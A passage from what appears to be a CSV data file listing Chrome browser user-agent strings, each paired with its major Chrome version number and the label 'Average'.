Safari/537.36\",61,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-J700F Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36\",56,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36\",54,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36\",41,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9592.85.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.112 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 8530.81.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.103 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36\",34,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; Z981 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 9334.72.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.140 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Linux; Android 4.3; en-us; SAMSUNG SM-N900T Build/JSS15J) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166  Safari/535.19\",18,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2683.0 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36\",40,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/63.0.3239.73 Mobile/15C153 Safari/604.1\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22\",25,Average\n\"Mozilla/5.0 (Linux; Android 5.0.2; LG-V410/V41020c Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Safari/537.36\",34,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; Coolpad 3622A Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.83 Mobile Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.16 Safari/537.36\",54,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; Google Web Preview) Chrome/27.0.1453 Safari/537.36\",27,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36\",59,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 8743.85.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.101 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 10.0 WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMS210 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36\",57,Average\n\"Mozilla/5.0 (en-US) AppleWebKit/537.36 (KHTML, like Gecko; Hound) Chrome/27.0.1453 Safari/537.36\",27,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.8 (KHTML, like Gecko) Beamrise/17.2.0.9 Chrome/17.0.939.0 Safari/535.8\",17,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; rk31sdk Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19\",18,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"'Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48B; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.65 Mobile Safari/537.36'\",43,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) CriOS/61.0.3163.73 Mobile/14G60 Safari/602.1\",61,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.108 Safari/537.36\",49,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.90 Safari/537.1\",21,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95  Safari/537.36\",39,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36\",62,Average\n\"Mozilla/5.0 (Linux; GoogleTV 3.2; NSZ-GS7/GX70 Build/MASTER) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24\",11,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.2988.0 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G955U Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SM-G870A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36\",42,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.86 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36\",58,Average\nMozilla/5.0 (Linux; Android 4.4.4; Nexus 7 Build/KTU84P) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.135 Safari/537.36,36,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36\",33,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; SM-G935S Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Safari/537.36\",33,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36\",54,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36\",41,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22\",25,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\",19,Average\n\"Mozilla/5.0 (Linux; PLAYipp PLAYport MAX A3188; installer/1.0; playipplauncher/2.1.1; system_provider/1.7.2; media_unit/2.0.69; networkmanager/2.0.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.0.0 Safari/537.36\",30,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\",19,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 8872.73.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.103 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36\",40,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.114 Safari/537.36 SRAF/3.0\",30,Average\n\"Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36\",34,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36\",48,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7520.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.110 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; SM-J200G Build/LMY47X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Linux;) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 SRAF/3.5\",39,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22\",25,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.172 Safari/537.22\",25,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36\",43,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/47.0.2526.70 Mobile/13C71 Safari/601.1.46\",47,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36\",40,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36\",62,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 10176.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.144 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6\",20,Average\n\"Mozilla/5.0 (Linux; Android 7.0; SM-G950U Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36\",40,Average\n\"Mozilla/5.0 (Linux; Android 7.1.1; Z982 Build/NMF26V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Mobile Safari/537.36\",56,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1\",21,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 Safari/537.36\",41,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; LGMS345 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Mobile 